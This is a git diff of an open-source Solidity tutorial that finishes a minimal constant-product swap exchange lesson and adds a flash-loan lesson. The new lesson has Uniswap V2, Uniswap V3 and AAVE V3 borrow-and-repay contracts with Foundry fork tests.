_totalSupply = totalSupply(); + if (_totalSupply == 0) { + // If liquidity is added for the first time, mint L = sqrt(x * y) units of LP (liquidity provider) tokens + liquidity = sqrt(amount0Desired * amount1Desired); + } else { + // If it is not the first time to add liquidity, LP will be minted in proportion to the number of added tokens, and the smaller ratio of the two tokens will be used. + liquidity = min(amount0Desired * _totalSupply / reserve0, amount1Desired * _totalSupply /reserve1); + + // Check the amount of LP minted + require(liquidity > 0, 'INSUFFICIENT_LIQUIDITY_MINTED'); + + // Update reserve + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + // Mint LP tokens for liquidity providers to represent the liquidity they provide + _mint(msg.sender, liquidity); + + emit Mint(msg.sender, amount0Desired, amount1Desired); +} +``` + +Next, we need to implement the functionality to remove liquidity. When a user removes liquidity $\Delta{L}$ from the pool, the contract must destroy the LP share tokens and return the tokens to the user in proportion. The calculation formula for returning tokens is as follows: + +$$\Delta{x}={\frac{\Delta{L}}{L} * x}$$ +$$\Delta{y}={\frac{\Delta{L}}{L} * y}$$ + +The following `removeLiquidity()` function implements the function of removing liquidity. The main steps are as follows: + +1. Get the token balance in the contract. +2. Calculate the number of tokens to be transferred according to the proportion of LP. +3. Check the number of tokens. +4. Destroy LP shares. +5. Transfer the corresponding tokens to the user. +6. Update reserves. +5. Release the `Burn` event. + +```solidity +// Remove liquidity, destroy LP, and transfer tokens +// Transfer quantity = (liquidity / totalSupply_LP) * reserve +// @param liquidity The amount of liquidity removed +function removeLiquidity(uint liquidity) external returns (uint amount0, uint amount1) { + // Get balance + uint balance0 = token0.balanceOf(address(this)); + uint balance1 = token1.balanceOf(address(this)); + // Calculate the number of tokens to be transferred according to the proportion of LP + uint _totalSupply = totalSupply(); + amount0 = liquidity * balance0 / _totalSupply; + amount1 = liquidity * balance1 / _totalSupply; + // Check the number of tokens + require(amount0 > 0 && amount1 > 0, 'INSUFFICIENT_LIQUIDITY_BURNED'); + // Destroy LP +_burn(msg.sender, liquidity); + // Transfer tokens + token0.transfer(msg.sender, amount0); + token1.transfer(msg.sender, amount1); + // Update reserve + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + emit Burn(msg.sender, amount0, amount1); +} +``` + +At this point, the functions related to the liquidity provider in the contract are completed, and the next step is the transaction part. + +### trade + +In a Swap contract, users can trade one token for another. So how many units of token1 can I exchange for $\Delta{x}$ units of token0? Let us briefly derive it below. + +According to the constant product formula, before trading: + +$$k=x*y$$ + +After the transaction, there are: + +$$k=(x+\Delta{x})*(y+\Delta{y})$$ + +The value of $k$ remains unchanged before and after the transaction. Combining the above equations, we can get: + +$$\Delta{y}=-\frac{\Delta{x}*y}{x+\Delta{x}}$$ + +Therefore, the number of tokens $\Delta{y}$ that can be exchanged is determined by $\Delta{x}$, $x$, and $y$. Note that $\Delta{x}$ and $\Delta{y}$ have opposite signs, as transferring in increases the token reserve, while transferring out decreases it. + +The `getAmountOut()` below implements, given the amount of an asset and the reserve of a token pair, calculates the amount to exchange for another token. + +```solidity +// Given the amount of an asset and the reserve of a token pair, calculate the amount to exchange for another token +function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) public pure returns (uint amountOut) { + require(amountIn > 0, 'INSUFFICIENT_AMOUNT'); + require(reserveIn > 0 && reserveOut > 0, 'INSUFFICIENT_LIQUIDITY'); + amountOut = amountIn * reserveOut / (reserveIn + amountIn); +} +``` + +With this core formula in place, we can start implementing the trading function. The following `swap()` function implements the function of trading tokens. The main steps are as follows: + +1. When calling the function, the user specifies the number of tokens for exchange, the address of the exchanged token, and the minimum amount for swapping out another token. +2. Determine whether token0 is exchanged for token1, or token1 is exchanged for token0. +3. Use the above formula to calculate the number of tokens exchanged. +4. Determine whether the exchanged tokens have reached the minimum number specified by the user, which is similar to the slippage of the transaction. +5. Transfer the user’s tokens to the contract. +6. Transfer the exchanged tokens from the contract to the user. +7. Update the token reserve of the contract. +8. Release the `Swap` event. + +```solidity +// swap tokens +// @param amountIn the number of tokens used for exchange +// @param tokenIn token contract address used for exchange +// @param amountOutMin the minimum amount to exchange for another token +function swap(uint amountIn, IERC20 tokenIn, uint amountOutMin) external returns (uint amountOut, IERC20 tokenOut){ + require(amountIn > 0, 'INSUFFICIENT_OUTPUT_AMOUNT'); + require(tokenIn == token0 || tokenIn == token1, 'INVALID_TOKEN'); + + uint balance0 = token0.balanceOf(address(this)); + uint balance1 = token1.balanceOf(address(this)); + + if(tokenIn == token0){ +// If token0 is exchanged for token1 + tokenOut = token1; + // Calculate the number of token1 that can be exchanged + amountOut = getAmountOut(amountIn, balance0, balance1); + require(amountOut > amountOutMin, 'INSUFFICIENT_OUTPUT_AMOUNT'); + //Exchange + tokenIn.transferFrom(msg.sender, address(this), amountIn); + tokenOut.transfer(msg.sender, amountOut); + }else{ + // If token1 is exchanged for token0 + tokenOut = token0; + // Calculate the number of token1 that can be exchanged + amountOut = getAmountOut(amountIn, balance1, balance0); + require(amountOut > amountOutMin, 'INSUFFICIENT_OUTPUT_AMOUNT'); + //Exchange + tokenIn.transferFrom(msg.sender, address(this), amountIn); + tokenOut.transfer(msg.sender, amountOut); + } + + // Update reserve + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + emit Swap(msg.sender, amountIn, address(tokenIn), amountOut, address(tokenOut)); +} +``` + +## Swap Contract + +The complete code of `SimpleSwap` is as follows: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.19; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + +contract SimpleSwap is ERC20 { + //Token contract + IERC20 public token0; + IERC20 public token1; + + //Token reserve amount + uint public reserve0; + uint public reserve1; + + // event + event Mint(address indexed sender, uint amount0, uint amount1); + event Burn(address indexed sender, uint amount0, uint amount1); + event Swap( + address indexed sender, + uint amountIn, + address tokenIn, + uint amountOut, + address tokenOut + ); + + // Constructor, initialize token address + constructor(IERC20 _token0, IERC20 _token1) ERC20("SimpleSwap", "SS") { + token0 = _token0; + token1 = _token1; + } + + // Find the minimum of two numbers + function min(uint x, uint y) internal pure returns (uint z) { + z = x < y ? x : y; + } + + // Calculate square roots babylonian method +(https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) + function sqrt(uint y) internal pure returns (uint z) { + if (y > 3) { + z = y; + uint x = y / 2 + 1; + while (x < z) { + z = x; + x = (y / x + x) / 2; + } + } else if (y != 0) { + z = 1; + } + } + + // Add liquidity, transfer tokens, and mint LP + // If added for the first time, the amount of LP minted = sqrt(amount0 * amount1) + // If it is not the first time, the amount of LP minted = min(amount0/reserve0, amount1/reserve1)* totalSupply_LP + // @param amount0Desired The amount of token0 added + // @param amount1Desired The amount of token1 added + function addLiquidity(uint amount0Desired, uint amount1Desired) public returns(uint liquidity){ + // To transfer the added liquidity to the Swap contract, you need to give the Swap contract authorization in advance. + token0.transferFrom(msg.sender, address(this), amount0Desired); + token1.transferFrom(msg.sender, address(this), amount1Desired); + // Calculate added liquidity + uint _totalSupply = totalSupply(); + if (_totalSupply == 0) { + // If liquidity is added for the first time, mint L = sqrt(x * y) units of LP (liquidity provider) tokens + liquidity = sqrt(amount0Desired * amount1Desired); + } else { + // If it is not the first time to add liquidity, LP will be minted in proportion to the number of added tokens, and the smaller ratio of the two tokens will be used. + liquidity = min(amount0Desired * _totalSupply / reserve0, amount1Desired * _totalSupply /reserve1); + } + +// Check the amount of LP minted + require(liquidity > 0, 'INSUFFICIENT_LIQUIDITY_MINTED'); + + // Update reserve + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + // Mint LP tokens for liquidity providers to represent the liquidity they provide + _mint(msg.sender, liquidity); + + emit Mint(msg.sender, amount0Desired, amount1Desired); + } + +// Remove liquidity, destroy LP, and transfer tokens + // Transfer quantity = (liquidity / totalSupply_LP) * reserve + // @param liquidity The amount of liquidity removed + function removeLiquidity(uint liquidity) external returns (uint amount0, uint amount1) { + // Get balance + uint balance0 = token0.balanceOf(address(this)); + uint balance1 = token1.balanceOf(address(this)); + // Calculate the number of tokens to be transferred according to the proportion of LP + uint _totalSupply = totalSupply(); + amount0 = liquidity * balance0 / _totalSupply; + amount1 = liquidity * balance1 / _totalSupply; + // Check the number of tokens + require(amount0 > 0 && amount1 > 0, 'INSUFFICIENT_LIQUIDITY_BURNED'); + // Destroy LP + _burn(msg.sender, liquidity); + // Transfer tokens + token0.transfer(msg.sender, amount0); + token1.transfer(msg.sender, amount1); + // Update reserve + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + emit Burn(msg.sender, amount0, amount1); + } + +// Given the amount of an asset and the reserve of a token pair, calculate the amount to exchange for another token + // Since the product is constant + // Before swapping: k = x * y + // After swapping: k = (x + delta_x) * (y + delta_y) + // Available delta_y = - delta_x * y / (x + delta_x) + // Positive/negative signs represent transfer in/out + function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) public pure returns (uint amountOut) { + require(amountIn > 0, 'INSUFFICIENT_AMOUNT'); + require(reserveIn > 0 && reserveOut > 0, 'INSUFFICIENT_LIQUIDITY'); + amountOut = amountIn * reserveOut / (reserveIn + amountIn); + } + +// swap tokens + // @param amountIn the number of tokens used for exchange + // @param tokenIn token contract address used for exchange + // @param amountOutMin the minimum amount to exchange for another token + function swap(uint amountIn, IERC20 tokenIn, uint amountOutMin) external returns (uint amountOut, IERC20 tokenOut){ + require(amountIn > 0, 'INSUFFICIENT_OUTPUT_AMOUNT'); + require(tokenIn == token0 || tokenIn == token1, 'INVALID_TOKEN'); + + uint balance0 = token0.balanceOf(address(this)); + uint balance1 = token1.balanceOf(address(this)); + +if(tokenIn == token0){ + // If token0 is exchanged for token1 + tokenOut = token1; + // Calculate the number of token1 that can be exchanged + amountOut = getAmountOut(amountIn, balance0, balance1); + require(amountOut > amountOutMin, 'INSUFFICIENT_OUTPUT_AMOUNT'); + //Exchange + tokenIn.transferFrom(msg.sender, address(this), amountIn); + tokenOut.transfer(msg.sender, amountOut); + }else{ + // If token1 is exchanged for token0 + tokenOut = token0; + // Calculate the number of token1 that can be exchanged + amountOut = getAmountOut(amountIn, balance1, balance0); + require(amountOut > amountOutMin, 'INSUFFICIENT_OUTPUT_AMOUNT'); + //Exchange + tokenIn.transferFrom(msg.sender, address(this), amountIn); + tokenOut.transfer(msg.sender, amountOut); + } + + // Update reserve + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + emit Swap(msg.sender, amountIn, address(tokenIn), amountOut, address(tokenOut)); + } +} +``` + +## Remix Reappearance + +1. Deploy two ERC20 token contracts (token0 and token1) and record their contract addresses. + +2. Deploy the `SimpleSwap` contract and fill in the token address above. + +3. Call the `approve()` function of the two ERC20 tokens to authorize 1000 units of tokens to the `SimpleSwap` contract respectively. + +4. Call the `addLiquidity()` function of the `SimpleSwap` contract to add liquidity to the exchange, and add 100 units to token0 and token1 respectively. + +5. Call the `balanceOf()` function of the `SimpleSwap` contract to view the user’s LP share, which should be 100. ($\sqrt{100*100}=100$) + +6. Call the `swap()` function of the `SimpleSwap` contract to trade tokens, using 100 units of token0. + +7. Call the `reserve0` and `reserve1` functions of the `SimpleSwap` contract to view the token reserves in the contract, which should be 200 and 50. In the previous step, we used 100 units of token0 to exchange 50 units of token 1 ($\frac{100*100}{100+100}=50$). + +## Summary + +In this lecture, we introduced the constant product automatic market maker and wrote a minimalist decentralized exchange. In the minimalist Swap contract, we have many parts that we have not considered, such as transaction fees and governance parts. If you are interested in decentralized exchanges, it is recommended that you read [Programming DeFi: Uniswap V2](https://jeiwan.net/posts/programming-defi-uniswapv2-1/) and [Uniswap v3 book](https: //y1cunhui.github.io/uniswapV3-book-zh-cn/) for more in-depth learning. diff --git a/Languages/en/57_Flashloan/img/57-1.png b/Languages/en/57_Flashloan/img/57-1.png new file mode 100644 index 000000000..7199c4c7a Binary files /dev/null and b/Languages/en/57_Flashloan/img/57-1.png differ diff --git a/Languages/en/57_Flashloan/readme.md b/Languages/en/57_Flashloan/readme.md new file mode 100644 index 000000000..aea5783e4 --- /dev/null +++ b/Languages/en/57_Flashloan/readme.md @@ -0,0 +1,495 @@ +--- +title: 57. Flash loan +tags: + - solidity + - flashloan + - Defi + - uniswap + - aave +--- + +# WTF Minimalist introduction to Solidity: 57. Flash loan + +I'm recently re-learning solidity, consolidating the details, and writing a "WTF Solidity Minimalist Introduction" for novices (programming experts can find another tutorial), updating 1-3 lectures every week. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[WeChat Group](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) |[Official website wtf.academy](https://wtf.academy) + +All codes and tutorials are open source on github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- + +You must have heard the term “flash loan attack”, but what is a flash loan? How to write a flash loan contract? In this lecture, we will introduce flash loans in the blockchain, implement flash loan contracts based on Uniswap V2, Uniswap V3, and AAVE V3, and use Foundry for testing. + +## Flash Loan + +The first time you heard about "flash loan" must be in Web3, because Web2 does not have this thing. Flashloan is a DeFi innovation that allows users to lend and quickly return funds in one transaction without providing any collateral. + +Imagine that you suddenly find an arbitrage opportunity in the market, but you need to prepare 1 million U of funds to complete the arbitrage. In Web2, you go to the bank to apply for a loan, which requires approval, and you may miss the arbitrage opportunity. In addition, if the arbitrage fails, you not only have to pay interest, but also need to return the lost principal. + +In Web3, you can obtain funds through flash loans on the DeFI platform (Uniswap, AAVE, Dodo). You can borrow 1 million u tokens without guarantee, perform on-chain arbitrage, and finally return the loan and interest. . + +Flash loans take advantage of the atomicity of Ethereum transactions: a transaction (including all operations within it) is either fully executed or not executed at all. If a user attempts to use a flash loan and does not return the funds in the same transaction, the entire transaction will fail and be rolled back as if it never happened. Therefore, the DeFi platform does not need to worry about the borrower not being able to repay the loan, because if it is not repaid, it means that the money has not been loaned out; at the same time, the borrower does not need to worry about the arbitrage being unsuccessful, because if the arbitrage is unsuccessful, the repayment will not be repaid, and It means that the loan was unsuccessful. + +![](./img/57-1.png) + +## Flash loan in action + +Below, we introduce how to implement flash loan contracts in Uniswap V2, Uniswap V3, and AAVE V3. + +### 1. Uniswap V2 Flash Loan + +[Uniswap V2 Pair](https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol#L159) The `swap()` function of the contract supports flash loans. The code related to the flash loan business is as follows: + +```solidity +function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock { + // Other logic... + + // Optimistically send tokens to the to address + if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); + if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); + + //Call the callback function uniswapV2Call of the to address + if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data); + + // Other logic... + + // Use the k=x*y formula to check whether the flash loan is returned successfully + require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K'); +} +``` + +In the `swap()` function: + +1. First transfer the tokens in the pool to the `to` address optimistically. +2. If the length of `data` passed in is greater than `0`, the callback function `uniswapV2Call` of the `to` address will be called to execute the flash loan logic. +3. Finally, check whether the flash loan is returned successfully through `k=x*y`. If not, roll back the transaction. + +Next, we complete the flash loan contract `UniswapV2Flashloan.sol`. We let it inherit `IUniswapV2Callee` and write the core logic of flash loan in the callback function `uniswapV2Call`. + +The overall logic is very simple. In the flash loan function `flashloan()`, we borrow `WETH` from the `WETH-DAI` pool of Uniswap V2. After the flash loan is triggered, the callback function `uniswapV2Call` will be called by the Pair contract. We do not perform arbitrage and only return the flash loan after calculating the interest. The interest rate of Uniswap V2 flash loan is `0.3%` per transaction. + +**Note**: The callback function must have permission control to ensure that only Uniswap's Pair contract can be called. Otherwise, all the funds in the contract will be stolen by hackers. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +// Uniswap V2 flash loan callback interface +interface IUniswapV2Callee { + function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external; +} + +// // Uniswap V2 Flash Loan Contract +contract UniswapV2Flashloan is IUniswapV2Callee { + address private constant UNISWAP_V2_FACTORY = + 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; + + address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + + IUniswapV2Factory private constant factory = IUniswapV2Factory(UNISWAP_V2_FACTORY); + + IERC20 private constant weth = IERC20(WETH); + + IUniswapV2Pair private immutable pair; + + constructor() { + pair = IUniswapV2Pair(factory.getPair(DAI, WETH)); + } + +// Flash loan function + function flashloan(uint wethAmount) external { + //The calldata length is greater than 1 to trigger the flash loan callback function + bytes memory data = abi.encode(WETH, wethAmount); + + // amount0Out is the DAI to be borrowed, amount1Out is the WETH to be borrowed + pair.swap(0, wethAmount, address(this), data); + } + + // Flash loan callback function can only be called by the DAI/WETH pair contract + function uniswapV2Call( + address sender, + uint amount0, + uint amount1, + bytes calldata data + ) external { +// Confirm that the call is DAI/WETH pair contract + address token0 = IUniswapV2Pair(msg.sender).token0(); // Get token0 address + address token1 = IUniswapV2Pair(msg.sender).token1(); // Get token1 address + assert(msg.sender == factory.getPair(token0, token1)); // ensure that msg.sender is a V2 pair + +//Decode calldata + (address tokenBorrow, uint256 wethAmount) = abi.decode(data, (address, uint256)); + + // flashloan logic, omitted here + require(tokenBorrow == WETH, "token borrow != WETH"); + +// Calculate flashloan fees + // fee / (amount + fee) = 3/1000 + // Rounded up + uint fee = (amount1 * 3) / 997 + 1; + uint amountToRepay = amount1 + fee; + + //Repay flash loan + weth.transfer(address(pair), amountToRepay); + } +} + +Foundry test contract `UniswapV2Flashloan.t.sol`: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "../src/UniswapV2Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + UniswapV2Flashloan private flashloan; + + function setUp() public { + flashloan = new UniswapV2Flashloan(); + } + +function testFlashloan() public { + //Exchange weth and transfer it to the flashloan contract to use it as handling fee + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + // Flash loan loan amount + uint amountToBorrow = 100 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // If the handling fee is insufficient, it will be reverted. + function testFlashloanFail() public { + //Exchange weth and transfer it to the flashloan contract to use it as handling fee + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 3e17); + // Flash loan loan amount + uint amountToBorrow = 100 * 1e18; + // Insufficient handling fee + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} +``` + +In the test contract, we tested the cases of sufficient and insufficient handling fees respectively. You can use the following command line to test after installing Foundry (you can change the RPC to other Ethereum RPC): + +```shell +FORK_URL=https://singapore.rpc.blxrbdn.com +forge test --fork-url $FORK_URL --match-path test/UniswapV2Flashloan.t.sol -vv +``` + +### 2. Uniswap V3 Flash Loan + +Unlike Uniswap V2 which indirectly supports flash loans in the `swap()` exchange function, Uniswap V3 supports flash loans in [Pool Pool Contract](https://github.com/Uniswap/v3-core/blob/main/contracts/UniswapV3Pool.sol #L791C1-L835C1) has added the `flash()` function to directly support flash loans. The core code is as follows: + +```solidity +function flash( + address recipient, + uint256 amount0, + uint256 amount1, + bytes calldata data +) external override lock noDelegateCall { + // Other logic... + +// Optimistically send tokens to the to address + if (amount0 > 0) TransferHelper.safeTransfer(token0, recipient, amount0); + if (amount1 > 0) TransferHelper.safeTransfer(token1, recipient, amount1); + + //Call the callback function uniswapV3FlashCallback of the to address + IUniswapV3FlashCallback(msg.sender).uniswapV3FlashCallback(fee0, fee1, data); + + // Check whether the flash loan is returned successfully + uint256 balance0After = balance0(); + uint256 balance1After = balance1(); + require(balance0Before.add(fee0) <= balance0After, 'F0'); + require(balance1Before.add(fee1) <= balance1After, 'F1'); + + // sub is safe because we know balanceAfter is gt balanceBefore by at least fee + uint256 paid0 = balance0After - balance0Before; + uint256 paid1 = balance1After - balance1Before; + +// Other logic... +} +``` + +Next, we complete the flash loan contract `UniswapV3Flashloan.sol`. We let it inherit `IUniswapV3FlashCallback` and write the core logic of flash loan in the callback function `uniswapV3FlashCallback`. + +The overall logic is similar to that of V2. In the flash loan function `flashloan()`, we borrow `WETH` from the `WETH-DAI` pool of Uniswap V3. After the flash loan is triggered, the callback function `uniswapV3FlashCallback` will be called by the Pool contract. We do not perform arbitrage and only return the flash loan after calculating the interest. The handling fee for each flash loan in Uniswap V3 is consistent with the transaction fee. + +**Note**: The callback function must have permission control to ensure that only Uniswap's Pair contract can be called. Otherwise, all the funds in the contract will be stolen by hackers. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +// UniswapV3 flash loan callback interface +//Need to implement and rewrite the uniswapV3FlashCallback() function +interface IUniswapV3FlashCallback { + /// In the implementation, you must repay the pool for the tokens sent by flash and the calculated fee amount. + /// The contract calling this method must be checked by the UniswapV3Pool deployed by the official UniswapV3Factory. + /// @param fee0 The fee amount of token0 that should be paid to the pool when the flash loan ends + /// @param fee1 The fee amount of token1 that should be paid to the pool when the flash loan ends + /// @param data Any data passed by the caller is called via IUniswapV3PoolActions#flash + function uniswapV3FlashCallback( + uint256 fee0, + uint256 fee1, + bytes calldata data + ) external; +} + +// UniswapV3 flash loan contract +contract UniswapV3Flashloan is IUniswapV3FlashCallback { + address private constant UNISWAP_V3_FACTORY = 0x1F98431c8aD98523631AE4a59f267346ea31F984; + + address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + uint24 private constant poolFee = 3000; + + IERC20 private constant weth = IERC20(WETH); + IUniswapV3Pool private immutable pool; + + constructor() { + pool = IUniswapV3Pool(getPool(DAI, WETH, poolFee)); + } + + function getPool( + address _token0, + address _token1, + uint24 _fee + ) public pure returns (address) { + PoolAddress.PoolKey memory poolKey = PoolAddress.getPoolKey( + _token0, + _token1, + _fee + ); + return PoolAddress.computeAddress(UNISWAP_V3_FACTORY, poolKey); + } + +// Flash loan function + function flashloan(uint wethAmount) external { + bytes memory data = abi.encode(WETH, wethAmount); + IUniswapV3Pool(pool).flash(address(this), 0, wethAmount, data); + } + + // Flash loan callback function can only be called by the DAI/WETH pair contract + function uniswapV3FlashCallback( + uint fee0, + uint fee1, + bytes calldata data + ) external { + // Confirm that the call is DAI/WETH pair contract + require(msg.sender == address(pool), "not authorized"); + + //Decode calldata + (address tokenBorrow, uint256 wethAmount) = abi.decode(data, (address, uint256)); + + // flashloan logic, omitted here + require(tokenBorrow == WETH, "token borrow != WETH"); + + //Repay flash loan + weth.transfer(address(pool), wethAmount + fee1); + } +} +``` + +Foundry test contract `UniswapV3Flashloan.t.sol`: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import {Test, console2} from "forge-std/Test.sol"; +import "../src/UniswapV3Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + UniswapV3Flashloan private flashloan; + + function setUp() public { + flashloan = new UniswapV3Flashloan(); + } + +function testFlashloan() public { + //Exchange weth and transfer it to the flashloan contract to use it as handling fee + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + + uint balBefore = weth.balanceOf(address(flashloan)); + console2.logUint(balBefore); + // Flash loan loan amount + uint amountToBorrow = 1 * 1e18; + flashloan.flashloan(amountToBorrow); + } + +// If the handling fee is insufficient, it will be reverted. + function testFlashloanFail() public { + //Exchange weth and transfer it to the flashloan contract to use it as handling fee + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e17); + // Flash loan loan amount + uint amountToBorrow = 100 * 1e18; + // Insufficient handling fee + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} +``` + +In the test contract, we tested the cases of sufficient and insufficient handling fees respectively. You can use the following command line to test after installing Foundry (you can change the RPC to other Ethereum RPC): + +```shell +FORK_URL=https://singapore.rpc.blxrbdn.com +forge test --fork-url $FORK_URL --match-path test/UniswapV3Flashloan.t.sol -vv +``` + +### 3. AAVE V3 Flash Loan + +AAVE is a decentralized lending platform. Its [Pool contract](https://github.com/aave/aave-v3-core/blob/master/contracts/protocol/pool/Pool.sol#L424) passes `flashLoan The two functions ()` and `flashLoanSimple()` support single-asset and multi-asset flash loans. Here, we only use `flashLoan()` to implement flash loan of a single asset (`WETH`). + +Next, we complete the flash loan contract `AaveV3Flashloan.sol`. We let it inherit `IFlashLoanSimpleReceiver` and write the core logic of flash loan in the callback function `executeOperation`. + +The overall logic is similar to that of V2. In the flash loan function `flashloan()`, we borrow `WETH` from the `WETH` pool of AAVE V3. After the flash loan is triggered, the callback function `executeOperation` will be called by the Pool contract. We do not perform arbitrage and only return the flash loan after calculating the interest. The handling fee of AAVE V3 flash loan defaults to `0.05%` per transaction, which is lower than that of Uniswap. + +**Note**: The callback function must have permission control to ensure that only AAVE's Pool contract can be called, and the initiator is this contract, otherwise the funds in the contract will be stolen by hackers. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +interface IFlashLoanSimpleReceiver { + /** + * @notice performs operations after receiving flash loan assets + * @dev ensures that the contract can pay off the debt + additional fees, e.g. with + * Sufficient funds to repay and Pool has been approved to withdraw the total amount + * @param asset The address of the flash loan asset + * @param amount The amount of flash loan assets + * @param premium The fee for lightning borrowing assets + * @param initiator The address where flash loans are initiated + * @param params byte encoding parameters passed when initializing flash loan + * @return True if the operation is executed successfully, False otherwise + */ + function executeOperation( + address asset, + uint256 amount, + uint256 premium, + address initiator, + bytes calldata params + ) external returns (bool); +} + +// AAVE V3 flash loan contract +contract AaveV3Flashloan { + address private constant AAVE_V3_POOL = + 0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2; + + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + + ILendingPool public aave; + + constructor() { + aave = ILendingPool(AAVE_V3_POOL); + } + +// Flash loan function + function flashloan(uint256 wethAmount) external { + aave.flashLoanSimple(address(this), WETH, wethAmount, "", 0); + } + + // Flash loan callback function can only be called by the pool contract + function executeOperation(address asset, uint256 amount, uint256 premium, address initiator, bytes calldata) + external + returns (bool) + { +// Confirm that the call is DAI/WETH pair contract + require(msg.sender == AAVE_V3_POOL, "not authorized"); + // Confirm that the initiator of the flash loan is this contract + require(initiator == address(this), "invalid initiator"); + + // flashloan logic, omitted here + + // Calculate flashloan fees + // fee = 5/1000 * amount + uint fee = (amount * 5) / 10000 + 1; + uint amountToRepay = amount + fee; + + //Repay flash loan + IERC20(WETH).approve(AAVE_V3_POOL, amountToRepay); + + return true; + } +} +``` + +Foundry test contract `AaveV3Flashloan.t.sol`: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "../src/AaveV3Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + AaveV3Flashloan private flashloan; + + function setUp() public { + flashloan = new AaveV3Flashloan(); + } + +function testFlashloan() public { + //Exchange weth and transfer it to the flashloan contract to use it as handling fee + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + // Flash loan loan amount + uint amountToBorrow = 100 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // If the handling fee is insufficient, it will be reverted. + function testFlashloanFail() public { + //Exchange weth and transfer it to the flashloan contract to use it as handling fee + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 4e16); + // Flash loan loan amount + uint amountToBorrow = 100 * 1e18; + // Insufficient handling fee + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} +``` + +In the test contract, we tested the cases of sufficient and insufficient handling fees respectively. You can use the following command line to test after installing Foundry (you can change the RPC to other Ethereum RPC): + +```shell +FORK_URL=https://singapore.rpc.blxrbdn.com +forge test --fork-url $FORK_URL --match-path test/AaveV3Flashloan.t.sol -vv +``` + +## Summary + +In this lecture, we introduce flash loans, which allow users to lend and quickly return funds in one transaction without providing any collateral. Moreover, we have implemented Uniswap V2, Uniswap V3, and AAVE’s flash loan contracts respectively. + +Through flash loans, we can leverage massive amounts of funds without collateral for risk-free arbitrage or vulnerability attacks. What are you going to do with flash loans? diff --git a/Languages/en/57_Flashloan/src/AaveV3Flashloan.sol b/Languages/en/57_Flashloan/src/AaveV3Flashloan.sol new file mode 100644 index 000000000..3ba1f3475 --- /dev/null +++ b/Languages/en/57_Flashloan/src/AaveV3Flashloan.sol @@ -0,0 +1,67 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +interface IFlashLoanSimpleReceiver { + /** + * @notice performs operations after receiving flash loan assets + * @dev ensures that the contract can pay off the debt + additional fees, e.g. with + * Sufficient funds to repay and Pool has been approved to withdraw the total amount + * @param asset The address of the flash loan asset + * @param amount The amount of flash loan assets + * @param premium The fee for lightning borrowing assets + * @param initiator The address where flash loans are initiated + * @param params byte encoding parameters passed when initializing flash loan + * @return True if the operation is executed successfully, False otherwise + */ + function executeOperation( + address asset, + uint256 amount, + 